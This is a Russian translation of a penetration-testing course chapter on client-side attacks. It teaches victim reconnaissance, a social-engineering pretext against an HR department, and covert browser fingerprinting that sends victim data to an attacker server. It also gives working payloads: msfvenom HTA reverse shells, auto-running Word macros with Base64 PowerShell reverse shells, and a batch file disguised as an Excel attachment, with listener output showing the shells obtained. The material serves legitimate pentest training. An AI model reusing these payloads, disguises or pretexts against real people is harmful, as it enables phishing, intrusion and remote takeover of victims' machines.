disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 13. Client-Side атаки. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Вступление
Векторы атак на клиент (Client-Side) особенно коварны, так как они используют слабые места в клиентском программном обеспечении, например, браузере, вместо того, чтобы эксплуатировать серверное программное обеспечение. Это часто связано с определенной формой взаимодействия и обмана пользователя для того, чтобы клиентское программное обеспечение выполнило вредоносный код.
Эти векторы атаки особенно привлекательны для злоумышленника, поскольку не требуют прямого или маршрутизируемого доступа к машине жертвы.
Атаки на клиент, по сути, изменили традиционную модель атаки и создали потребность в новых парадигмах защиты.
Например, представьте, что сотрудник внутри немаршрутизируемой внутренней сети получил электронное письмо с вложением или ссылкой на вредоносный веб-сайт. Если сотрудник откроет вложение или перейдет по ссылке, то содержимое (которое может быть документом или содержанием веб-страницы) будет отправлено в качестве входной информации в локальное приложение на его компьютере. Затем приложение обработает эту информацию и сможет выполнить вредоносный код. Машина сотрудника может быть использована, например, для запуска удаленного шелла со взломанной машины через брандмауэр на машину злоумышленника.
В этой главе будут описаны некоторые из факторов, которые важно учитывать при данном типе атаки, и пройдемся по сценариям эксплуатации, включающим как вредоносные HTML-приложения, так и документы Microsoft Word.
Знай свою цель
С точки зрения атакующего, основная сложность client-side атак заключается в получении информации о программном обеспечении жертвы, что не так просто, как сбор информации о WWW или FTP-сервере. Секрет успеха в client-side атаках, как и в большинстве других случаев в пентесте, заключается в точном и тщательном сборе информации.
Допустимо использовать как пассивные, так и активные методы сбора информации о целях client-side атак.
Пассивный сбор информации о клиенте
При использовании пассивных методов сбора информации взаимодействие напрямую с намеченными целями не осуществляется.
Например, в недавнем задании была поставлена задача попытаться скомпрометировать корпоративных сотрудников client-side атаками и различными
Ссылка скрыта от гостей
. Однако не было разрешено контактировать с сотрудниками по телефону.Учитывая это ограничение, мы погуглили различные известные нам внешние корпоративные IP-адреса и нашли один из них на сайте, который содержит данные об агентах пользователей (user agent data), собранные с различных партнерских сайтов.
Эта информация, похожая на ту, что показана на следующем скриншоте, раскрыла базовую версию операционной системы корпоративного клиентского компьютера:
Рисунок 1: Определение браузера жертвы
Здесь показан тип и версия браузера, а также установленные плагины, перечисленные в строке User Agent. Нами был модифицирован существующий эксплойт и запущен на одной из лабораторных машин под управлением той же операционной системы и версии браузера, что и у цели. Тест был успешным, поэтому эксплойт использовали для client-side атаки на корпоративную цель, и были вознаграждены реверс-шеллом.
Довольно часто можно найти такую информацию, например, в социальных сетях и на сайтах форумов. На самом деле, мы даже нашли фотографии экранов компьютеров, на которых видна информация о типе и версии операционной системы, версиях приложений, используемых антивирусных программах и многое другое. Время, потраченное на изучение цели, не пропадает даром.
Активный сбор информации о клиенте
Активные методы сбора информации о клиенте подразумевают прямой контакт с целевой машиной или ее пользователями.
Это может включать в себя телефонный звонок пользователю с целью получения полезной информации или отправку целевого электронного письма жертве в надежде на переход по ссылке, которая определит версию операционной системы цели, версию браузера и установленные расширения.
Далее будут рассмотренны активные методы сбора информации.
Социальная инженерия и Client-Side атаки
Поскольку большинство client-side атак требуют определенной формы взаимодействия с целью, например, требование к цели кликнуть по ссылке, открыть электронное сообщение, запустить вложение или открыть документ, необходимо превентивно использовать тактику
Ссылка скрыта от гостей
, чтобы повысить шансы на успех.Представьте себе следующий сценарий. Мы находимся на задании, пытаясь осуществить атаку на отдел кадров (HR) со стороны клиента. Можно было бы просто вслепую начать атаковать, но шансы на успех невелики, так как нет информации, какую операционную систему и приложения они используют, а также какие версии. Напротив, мы предпочтем проявить осторожность и ответим на объявление о работе с некорректно оформленным "резюме", которое сделано таким образом, чтобы оно не открывалось. Сформулируем электронное письмо особым образом, чтобы привлечь к себе внимание.
На следующий день мы получаем ответ по электронной почте, в котором говорится, что HR не может открыть наш документ. В попытке решить проблему мы отвечаем (например, по телефону) на вопрос о том, какую именно версию Microsoft Office они используют, предполагая, что проблема может быть вызвана несовместимостью версий. Такой тип диалога можно продолжить, задав вопрос о функциях безопасности, которые могут быть включены в Office, или о версии используемой операционной системы. Этот тип диалога должен быть сбалансированным, ненавязчивым и сопровождаться комментариями, которые оправдывают вопрос, например: "В резюме используются расширенные функции, такие как макросы, чтобы выделить и упростить навигацию по содержимому". Хотя полный процесс выходит за рамки данной главы, эта практика известна как
Ссылка скрыта от гостей
и может значительно повысить шансы на успех.В нашем сценарии мы обнаружили, что представитель отдела кадров использует конкретную версию Microsoft Office и что им разрешено выполнять макросы Word. Вооружившись этой информацией, мы можем составить второе резюме в документе Word, содержащем макрос с PowerShell, который откроет реверс-шелл, и отправить его по электронной почте.
Конечно, это упрощенная история успеха. Ваши приемы социальной инженерии, безусловно, должны быть более тонкими и специфическими, основанными на заранее собранной информации.
Client Fingerprinting
Ссылка скрыта от гостей
чрезвычайно важен для успеха атаки, но для получения наиболее точной информации, часто необходимо собирать ее с самой целевой машины. Можно выполнить эту важную фазу атаки в качестве самостоятельного шага перед процессом эксплуатации или включить процесс идентификации в первую стадию самого эксплойта.В качестве практического примера предположим, что мы убедили жертву посетить нашу вредоносную веб-страницу. Нашей целью будет идентификация версии веб-браузера жертвы и информации об операционной системе.
Веб-браузеры, как правило, являются хорошим вектором для сбора информации о цели. Их эволюция, сложность и богатство функциональности стали обоюдоострым мечом как для конечных пользователей, так и для злоумышленников.
Можно было бы создать свой собственный инструмент, но есть много доступных проектов с открытым исходным кодом для идентификации (fingerprint), а самыми надежными, как правило, являются те, которые непосредственно используют общие компоненты на стороне клиента, такие как JavaScript.
Для данного примера будет использована JavaScript библиотека Fingerprintjs2, которая может быть установлена путём загрузки и извлечения архива проекта из его репозитория GitHub:
Bash:
kali@kali:/var/www/html$ sudo wget https://github.com/Valve/fingerprintjs2/archive/master.zip
--2019-07-24 02:42:36-- https://github.com/Valve/fingerprintjs2/archive/master.zip
...
2019-07-24 02:42:41 (116 KB/s) - ‘master.zip’ saved [99698]
kali@kali:/var/www/html$ sudo unzip master.zip
Archive: master.zip
eb44f8f6f5a8c4c0ae476d4c60d8ed1015b2b605
creating: fingerprintjs2-master/
inflating: fingerprintjs2-master/.eslintrc
...
kali@kali:/var/www/html$ sudo mv fingerprintjs2-master/ fp
Листинг 1 - Скачивание библиотеки Fingerprintjs2
Мы можем включить эту библиотеку в HTML-файл основываясь на примерах, включенных в проект. Мы включим библиотеку fingerprint2.js из HTML файла fingerprint2.html, расположенного в каталоге /var/www/html/fp нашего веб-сервера Кали:
HTML:
kali@kali:/var/www/html/fp$ cat fingerprint2.html
<!doctype html>
<html>
<head>
<title>Fingerprintjs2 test</title>
</head>
<body>
<h1>Fingerprintjs2</h1>
<p>Your browser fingerprint: <strong id="fp"></strong></p>
<p><code id="time"/></p>
<p><span id="details"/></p>
<script src="fingerprint2.js"></script>
<script>
var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) { return component.value })
var murmur = Fingerprint2.x64hash128(values.join(''), 31)
var d2 = new Date();
var timeString = "Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "<strong>Detailed information: </strong><br />";
if(typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "<br />";
}
}
}
document.querySelector("#details").innerHTML = details
document.querySelector("#fp").textContent = murmur
document.querySelector("#time").textContent = timeString
});
</script>
</body>
</html>
Листинг 2 - Использование библиотеки Fingerprintjs2 JavaScript
JavaScript код в Листинге 2 вызывает статическую функцию Fingerprint2.get для запуска процесса идентификации (fingerprint). Переменная components, возвращаемая библиотекой, представляет собой массив, содержащий всю информацию, извлеченную из клиента. Значения, хранящиеся в массиве components, передаются в хэш-функцию
Ссылка скрыта от гостей
для создания хэш-отпечатка браузера. Наконец, эти же значения извлекаются и отображаются на HTML-странице.Рисунок 2: Отпечаток браузера, полученный с помощью библиотеки JavaScript Fingerprintjs2
Приведенная выше web-страница (Рисунок 2) с нашей тестовой машины Windows показывает, что несколько строк кода JavaScript извлекли строку User Agent браузера, его локализацию, установленные плагины браузера и соответствующую версию, общую информацию о базовой платформе операционной системы Win32 и другие детали.
Код:
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537 Edge/16.16299
Листинг 3 - Полная строка User Agent, полученная с помощью скрипта JavaScript
Можно отправить эту строку User Agent в онлайн базу данных агентов для идентификации версии браузера и операционной системы, как показано на рисунке 3.
Рисунок 3: Определение версии браузера по базе user agent на
Ссылка скрыта от гостей
Обратите внимание, что строка User Agent неявно говорит нам о том, что Microsoft Edge 41 работает на 32-разрядной версии Windows 10. Для 64-битных версий Windows эта строка в противном случае содержала бы некоторую информацию, относящуюся к 64-битной архитектуре, как показано ниже:
Код:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537 Edge/16.16299
Листинг 4 - Полная строка User Agent для той же версии Microsoft Edge на 64-bit версии Windows
Нам удалось собрать информацию, за которой мы охотились, но JavaScript-код из Листинга 2 отображает данные не атакующему, а жертве. Очевидно, что это не очень полезно, поэтому нам нужно найти способ передать извлеченную информацию на наш атакующий веб-сервер.
Несколько строк кода
Ссылка скрыта от гостей
должны выполнить этот трюк. В Листинге 5 показана модифицированная версия ранее использовавшейся идентифицирующей (fingerprint) веб-страницы. В этом коде мы используем XMLHttpRequest JavaScript API для взаимодействия с атакующим веб-сервером через POST-запрос. POST-запрос выдается на тот же сервер, где хранится вредоносная веб-страница, поэтому URL, используемый в методе xmlhttp.open, не содержит IP-адреса.Массив components, содержащий информацию, извлекаемую библиотекой Fingerprint2, обрабатывается несколькими строками JavaScript-кода, аналогично предыдущему примеру. Однако на этот раз строка вывода результата отправляется в js.php через POST-запрос. Ключевые компоненты выделены ниже в Листинге 5:
HTML:
<!doctype html>
<html>
<head>
<title>Blank Page</title>
</head>
<body>
<h1>You have been given the finger!</h1>
<script src="fingerprint2.js"></script>
<script>
var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) { return component.value })
var murmur = Fingerprint2.x64hash128(values.join(''), 31)
var clientfp = "Client browser fingerprint: " + murmur + "\n\n";
var d2 = new Date();
var timeString = "Time to calculate fingerprint: " + (d2 - d1) + "ms\n\n";
var details = "Detailed information: \n";
if(typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "\n";
}
}
}
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/fp/js.php");
xmlhttp.setRequestHeader("Content-Type", "application/txt");
xmlhttp.send(clientfp + timeString + details);
});
</script>
</body>
</html>
Листинг 5 - Отправка информации о браузере на атакующий сервер
Давайте рассмотрим PHP-код /fp/js.php, который обрабатывает POST-запрос на атакующем сервере:
Код:
<?php
$data = "Client IP Address: " . $_SERVER['REMOTE_ADDR'] . "\n";
$data .= file_get_contents('php://input');
$data .= "---------------------------------\n\n";
file_put_contents('/var/www/html/fp/fingerprint.txt', print_r($data, true), FILE_APPEND | LOCK_EX);
?>
Листинг 6 - Код PHP, который обрабатывает JavaScript POST запрос и выгружает полученные данные в файл
PHP-код сначала извлекает IP-адрес клиента из
Ссылка скрыта от гостей
, который содержит информацию о сервере и среде исполнения. Затем IP-адрес сцепляется с текстовой строкой, полученной из POST-запроса JavaScript, и записывается в файл fingerprint.txt в каталоге /var/www/html/fp/. Обратите внимание на использование флага FILE_APPEND, который позволяет хранить несколько fingerprint результатов в одном и том же файле.Чтобы этот код работал, нам нужно разрешить пользователю Apache www-data записывать в каталог fp:
Bash:
kali@kali:/var/www/html$ sudo chown www-data:www-data fp
Листинг 7 - Изменение прав доступа для директории fp
Как только жертва перейдет на веб-страницу fingerprint2server.html (Рисунок 4), мы можем посмотреть содержимое файла fingerprint.txt на нашем атакующем сервере:
Код:
Client IP Address: 10.11.0.22
Client browser fingerprint: ff0435cc84bcac49b15078773c5e3f2e
Time took to calculate the fingerprint: 625ms
Detailed information:
userAgent = Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
webdriver = false
language = en-US
colorDepth = 24
deviceMemory = not available
hardwareConcurrency = 1
screenResolution = 787,1260
availableScreenResolution = 747,1260
timezoneOffset = 420
timezone = America/Los_Angeles
sessionStorage = true
localStorage = true
indexedDb = true
addBehavior = false
openDatabase = false
cpuClass = not available
platform = Win32
plugins = Edge PDF Viewer,Portable Document Format,application/pdf,pdf
canvas = canvas winding:yes,canvas fp:data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB9
webgl = data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAACWCAYAAABkW7XSAAAAAXNSR0IA
webglVendorAndRenderer = Microsoft~Microsoft Basic Render Driver
adBlock = false
hasLiedLanguages = false
hasLiedResolution = false
hasLiedOs = false
hasLiedBrowser = false
touchSupport = 0,false,false
fonts = Arial,Arial Black,Arial Narrow,Arial Rounded MT Bold,Book Antiqua,Bookman Old
audio = 124.08073878219147
Листинг 8 - Информация о браузере, присланная на сервер
При такой модификации в браузере жертвы не будет отображаться никакой информации. XMLHttpRequest незаметно передал данные на наш атакующий сервер без какого-либо взаимодействия с жертвой. Единственный выход, который видит жертва - это выбранный нами текст:
Рисунок 4: Получение информации о браузере с использованием запроса XMLHttpRequest
Использование HTML приложений для достижения цели
Использование HTML приложений для достижения цели
Рассматривая специфические client-side атаки, сперва обратим внимание на
Ссылка скрыта от гостей
.Если файл создается с расширением .hta вместо .html, Internet Explorer автоматически интерпретирует его как HTML-приложение и предлагает возможность выполнить его с помощью программы mshta.exe.
Цель Приложения HTML - разрешить произвольное выполнение приложений непосредственно из Internet Explorer, а не скачивать и вручную запускать исполняемый файл. Так как это противоречит границам безопасности в Internet Explorer, приложение HTML всегда выполняется вне контекста безопасности браузера подписанным Microsoft бинарником mshta.exe. Если пользователь разрешил это, злоумышленник может выполнить произвольный код используя разрешение этого пользователя, избегая ограничений безопасности, обычно налагаемых Internet Explorer.
Хотя этот вектор атаки работает только на Internet Explorer и, в некоторой степени, Microsoft Edge, он все же полезен, так как многие корпорации используют Internet Explorer в качестве основного браузера. Более того, этот вектор использует возможности, встроенные непосредственно в операционные системы Windows, и, что более важно, он совместим с менее безопасными традиционными веб-технологиями Microsoft, такими как
Ссылка скрыта от гостей
.Исследование HTML приложений
Подобно HTML-странице, типичное приложение HTML включает в себя теги html, body и script, за которыми следует JavaScript или VBScript-код. Однако, так как HTML Application выполняется вне браузера, можно свободно использовать наследованные и опасные функции, которые часто блокируются внутри браузера.
В этом примере мы будем использовать
Ссылка скрыта от гостей
, который может потенциально (и небезопасно) предоставлять доступ к основным командам операционной системы. Это может быть достигнуто с помощью функциональности Windows Script Host или
Ссылка скрыта от гостей
и, в частности, с помощью объекта
Ссылка скрыта от гостей
.Как только создадим объект Windows Script Host Shell, можно вызвать его метод
Ссылка скрыта от гостей
, чтобы запустить приложение на целевой клиентской машине.Создадим простое PoC HTML-приложение для запуска командной строки:
HTML:
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
Листинг 9 - HTA файл для запуска cmd.exe
Можно поместить код в файл на нашей машине Кали (poc.hta) и предоставить его с веб-сервера Apache. Как только жертва получает доступ к этому файлу с помощью Internet Explorer, у нее появляется всплывающее окно, показанное на рисунке 243.
Рисунок 5: Первое диалоговое окно
Этот диалог является результатом попытки выполнения файла .hta. При выборе опции Открыть (Open) появится дополнительное диалоговое окно:
Рисунок 6: Второе диалоговое окно
Второй диалог представлен потому, что по умолчанию включена защита в песочнице Internet Explorer, также называемая
Ссылка скрыта от гостей
. Жертва может выбрать опцию Allow, чтобы разрешить действие, которое выполнит JavaScript код и запустит cmd.exe, как показано на Рисунке 7.Рисунок 7: cmd.exe открыт
Во время выполнения mshta.exe за нашей командной строкой остается открытым дополнительное окно. Чтобы избежать этого, мы можем обновить наш PoC-код, чтобы закрыть это окно с помощью объектного метода .close(); показанного ниже:
HTML:
<html>
<head>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>
self.close();
</script>
</body>
</html>
Листинг 10 - Обновленный proof of concept
Это демонстрирует базовую функциональность HTA-эксплойта, но для того, чтобы превратить его в атаку, нам предстоит по настоящему постараться. Вместо того, чтобы использовать метод Run для запуска cmd.exe, мы обратимся к гораздо более мощному и способному фреймворку PowerShell.
HTA атака в действии
Мы будем использовать msfvenom для превращения нашего основного HTML-приложения в атаку, полагаясь на выходной формат hta-psh для создания пэйлоада HTA на базе PowerShell. В Листинге 11 пейлоад реверс-шелла генерируется и сохраняется в файле evil.hta.
Bash:
kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6461 bytes
Saved as: /var/www/html/evil.hta
Листинг 11 - Создание HTA пейлоада с помощью msfvenom
Давайте пройдемся по сгенерированному файлу .hta в Листинге 12, чтобы лучше понять, как все работает. Одним из первых моментов, который следует отметить, является то, что имена переменных были рандомизированы для того, чтобы обмануть детектор и антивирусное программное обеспечение.
Bash:
kali@kali:~$ sudo cat /var/www/html/evil.hta
<script language="VBScript">
window.moveTo -4000, -4000
Set iKqr8BWFyuiK = CreateObject("Wscript.Shell")
Set t6tI2tnp = CreateObject("Scripting.FileSystemObject")
For each path in Split(iKqr8BWFyuiK.ExpandEnvironmentStrings("%PSModulePath%"),";")
If t6tI2tnp.FileExists(path + "\..\powershell.exe") Then
iKqr8BWFyuiK.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcg...
...
Листинг 12 - Содержимое HTA файла, сделанного msfvenom
В последней строке Листинга 12 обратите внимание, что PowerShell выполняется методом Run Windows Scripting Host вместе с тремя аргументами командной строки.
Первый аргумент -nop является сокращением для
Ссылка скрыта от гостей
, который инструктирует PowerShell не загружать пользовательский профиль PowerShell.При запуске PowerShell по умолчанию будут загружены любые существующие скрипты пользовательского профиля, что может негативно повлиять на выполнение нашего кода. Данная опция позволит избежать этой потенциальной проблемы.
Далее, наш скрипт использует параметр -w hidden (сокращение от -
Ссылка скрыта от гостей
hidden), чтобы избежать создания окна на рабочем столе пользователя.Наконец, чрезвычайно важный флаг -e (сокращение для -EncodedCommand) позволяет нам поставлять скрипт в
Ссылка скрыта от гостей
PowerShell непосредственно в качестве аргумента командной строки.Мы разместим это новое приложение HTA на нашей машине Кали и запустим листнер Netcat для проверки атаки. Затем будем эмулировать нашу жертву, просматривая вредоносный URL и принимая два предупреждения безопасности. Если все пойдет по плану, мы сможем получить реверс-шелл:
Bash:
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 50260
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Offsec>
Листинг 13 - Получение реверс-шелла с помощью HTA атаки
Этот вектор атаки позволяет скомпрометировать клиент Windows через Internet Explorer без наличия конкретной программной уязвимости. Поскольку ссылка на приложение HTML может быть доставлена по электронной почте, мы даже можем скомпрометировать внутренних клиентов NAT.
Эксплуатация Microsoft Office
При использовании client-side уязвимостей важно использовать приложения, которым жертва доверяет в повседневной работе. В отличие от потенциально подозрительных веб-ссылок, client-side атаки на
Ссылка скрыта от гостей
часто бывают успешными, поскольку трудно отличить вредоносное содержимое от доверенного. В этом разделе мы рассмотрим различные векторы client-side атак, которые используют приложения Microsoft Office.Установка Microsoft Office
Прежде чем начнем тестировать Microsoft Office, необходимо установить его на лабораторную VM Windows 10.
Сделаем это, перейдя по ссылке C:\\tools\\client_side_attacks\\Office2016.img в File Explorer и дважды щелкнув по файлу. Это загрузит файл как виртуальный CD и позволит нам начать установку с Setup.exe, как показано на Рисунке 8.
Рисунок 8: Установщик Microsoft Office 2016
После завершения установки, нажимаем Close на заставке, чтобы выйти из программы установки и открыть Microsoft Word из стартового меню. Как только откроется Microsoft Word, появится всплывающее окно, как показано на Рисунке 9. Мы можем закрыть его, нажав на выделенный крестик в правом верхнем углу, чтобы начать 7-дневную пробную установку.
Рисунок 9: Всплывающее окно ввода ключа продукта
В качестве последнего шага отображается всплывающее окно лицензионного соглашения, которое необходимо принять, нажав Accept and start Word, как показано на Рисунке 10.
Рисунок 10: Принять лицензионное соглашение
С помощью Microsoft Office, и в частности Microsoft Word, установленного и настроенного, можно начать изучение того, как он может быть использован для выполнения кода на стороне клиента.
Макросы Microsoft Word (Microsoft Word Macro)
Microsoft Word macro (Макрос), наверное, один из старейших и наиболее известных векторов client-side атак.
Приложения Microsoft Office, такие как Word и Excel, позволяют пользователям встраивать макросы, серию команд и инструкций, которые сгруппированы вместе для выполнения задачи. Организации часто используют макросы для
Ссылка скрыта от гостей
. Более интересно, что макросы можно писать с нуля в
Ссылка скрыта от гостей
, который является полнофункциональным скриптовым языком с полным доступом к объектам ActiveX и хосту Windows Script Host, подобно JavaScript в приложениях HTML.Создать макрос Microsoft Word просто, необходимо выбрать закладку VIEW и выбрать Macros. Как видно на Рисунке 11, мы просто вводим имя для макроса, а в раскрывающемся списке Macros in выбираем имя документа, в который будет вставлен макрос. Когда мы нажмем кнопку Create, в наш документ будет вставлена простая структура макроса.
Рисунок 11: Создание макроса Microsoft Word
Рассмотрим наш простой макрос (Листинг 14) и обсудим основы VBA. Основная процедура, используемая в нашем макросе VBA, начинается с ключевого слова
Ссылка скрыта от гостей
и заканчивается на End Sub. Это, по сути, обозначает тело нашего макроса.Процедура Sub очень похожа на Function в VBA. Разница заключается в том, что Sub-процедуры не могут быть использованы в выражениях, так как они не возвращают никаких значений, в то время как Functions возвращают.
На данный момент наш новый макрос MyMacro() - это просто пустая процедура и несколько строк, начинающихся с апострофа, который отмечает начало комментариев на VBA.
Visual Basic:
Sub MyMacro()
'
' MyMacro Macro
'
'
End Sub
Листинг 14 - Пустой макрос
Для вызова Windows Scripting Host через ActiveX, как мы делали это ранее, можно использовать функцию
Ссылка скрыта от гостей
вместе с методом Wscript.Shell Run. Код этого макроса показан ниже:
Visual Basic:
Sub MyMacro()
CreateObject("Wscript.Shell").Run "cmd"
End Sub
Листинг 15 - Макрос, открывающий cmd.exe
Поскольку макросы Office не выполняются автоматически, необходимо использовать две предопределенные процедуры, а именно процедуру AutoOpen, которая выполняется при открытии нового документа, и процедуру
Ссылка скрыта от гостей
, которая выполняется при повторном открытии уже открытого документа. Обе эти процедуры могут вызывать пользовательскую процедуру и, следовательно, запускать код.Обновленный код VBA находится в Листинге 16 ниже.
Visual Basic:
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "cmd"
End Sub
Листинг 16 - Макрос автоматически запускает cmd
Необходимо сохранять документ, содержащий макрос, либо как .docm, либо как старый .doc формат, который поддерживает встроенные макросы, и избегать формат .docx, который их не поддерживает.
Когда мы снова откроем документ, содержащий макрос, нам будет представлено предупреждение безопасности (Рисунок 12), указывающее на то, что макросы были отключены. Мы должны нажать кнопку Enable Content, чтобы запустить макрос. Это стандартный параметр безопасности Microsoft Office, и хотя можно полностью отключить использование макросов для защиты от этой атаки, они часто включаются, поскольку обычно используются в большинстве сред.
Рисунок 12: Предупреждение безопасности в Microsoft Word
После того, как мы нажмем кнопку Enable Content, выполнится макрос и откроется интерпретатор команд.
В реальном мире, если жертва не нажмет кнопку Enable Content, атака будет неудачной. Для того чтобы преодолеть это, жертва должна быть не в курсе возможных последствий или быть достаточно воодушевлена представлением документа, чтобы нажать эту кнопку.
Как и в случае с первоначальным приложением HTML, выполнение команды является началом, но реверс-шелл предпочтительнее. Для этого мы еще раз обратимся к PowerShell и повторно используем возможность выполнения командной оболочки Metasploit, используя строку в Base64-кодировке.
Для этого объявим переменную (
Ссылка скрыта от гостей
типа String, содержащую команду PowerShell, которую мы хотим выполнить. Мы добавим строку, чтобы зарезервировать место для строковой переменной в макросе:
Visual Basic:
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub
Листинг 17 - Создаем нашу первую строковую переменную
Мы могли бы встроить скрипт PowerShell, закодированный в base64, как один String, но VBA имеет 255-символьный лимит для строк литералов. Это ограничение не распространяется на строки, хранящиеся в переменных, поэтому можно разделить команду на несколько строк и объединить их.
Будем использовать простой Python скрипт, чтобы разделить команду:
Python:
str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC....."
n = 50
for i in range(0, len(str), n):
print "Str = Str + " + '"' + str[i:i+n] + '"'
Листинг 18- Скрипт Python для разрезания Base64 строк
Разделив строку в кодировке Base64 на более мелкие части, мы можем обновить наш эксплойт, как показано в Листинге 19.
Visual Basic:
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
Листинг 19 - Макрос вызывает PowerShell для создания реверс-шелла
Сохранение документа Word, его закрытие и повторное открытие приведет к автоматическому выполнению макроса. Обратите внимание, что предупреждение о безопасности макроса появляется вновь только в случае изменения имени документа. Если перед открытием обновленного документа запустить листнер Netcat, мы увидим, что макрос работает безупречно:
Bash:
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 59111
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Offsec>
Листинг 20 - Реверс-шелл из макроса Word
Встраивание и привязывание объектов
Встраивание и привязывание объектов
Еще одна популярная client-side атака на Microsoft Office использует
Ссылка скрыта от гостей
для запуска произвольных приложений из документов Office, но это было
Ссылка скрыта от гостей
.Тем не менее, мы все еще можем использовать
Ссылка скрыта от гостей
для манипуляции функцией встраивания документов Microsoft Office.В этом сценарии атаки мы собираемся встроить
Ссылка скрыта от гостей
Windows в документ Microsoft Word.Пакетные файлы Windows представляют собой старый формат, часто заменяемый более современными родными сценарными языками Windows, такими как VBScript и PowerShell. Тем не менее, пакетные скрипты все еще полнофункциональны даже в Windows 10 и позволяют запускать приложения. В следующем листинге представлен исходный пакетный сценарий (launch.bat), который запускает cmd.exe:
Код:
START cmd.exe
Листинг 21 - Простой batch файл, запускающий cmd.exe
Далее мы включим вышеприведенный сценарий в документ Microsoft Word. Откроем Microsoft Word, создадим новый документ, перейдем к вкладке Insert и нажмем на меню Object. Здесь выберем вкладку Create from File и наш только что созданный пакетный скрипт launch.bat:
Рисунок 13: Встраивание файла ярлыка (shortcut) в Microsoft Word
Также можно изменить внешний вид пакетного файла в документе Word, чтобы он выглядел более безопасно. Для этого просто отмечаем галочкой опцию Display в качестве иконки и выбираем опцию Change Icon, которая вызывает меню, показанное на Рисунке 14, позволяя нам вносить изменения:
Рисунок 14: Выбор иконки
Несмотря на то, что это встроенный пакетный файл, Microsoft позволяет нам выбрать для него другой значок и ввести подпись, которая является тем, что жертва будет видеть вместо действительного имени файла. В приведенном выше примере мы выбрали значок для Microsoft Excel вместе с именем ReadMe.xls, чтобы полностью замаскировать пакетный файл с целью снизить подозрения жертвы. После принятия пунктов меню пакетный файл встраивается в документ Microsoft Word. Далее жертву нужно обмануть, чтобы она дважды нажала на нем и приняла предупреждение безопасности, показанное на Рисунке 15:
Рисунок 15: Открытие встроенного ярлыка
Как только жертва принимает предупреждение, запускается cmd.exe. И снова мы имеем возможность запустить произвольную программу и должны преобразовать это в выполнение PowerShell с помощью команды в кодировке Base64. На этот раз преобразование очень простое, и мы можем просто изменить cmd.exe на ранее используемый вызов PowerShell, как показано в Листинге 22.
Код:
START powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBj....
Листинг 22 - Пакетный файл запускает реверс-шелл
После встраивания обновленного пакетного файла, двойным щелчком мыши на нем получаем рабочий реверс-шелл.
Bash:
kali@kali:~$ nc -lvnp 4444
listening on [any] 4444 ...
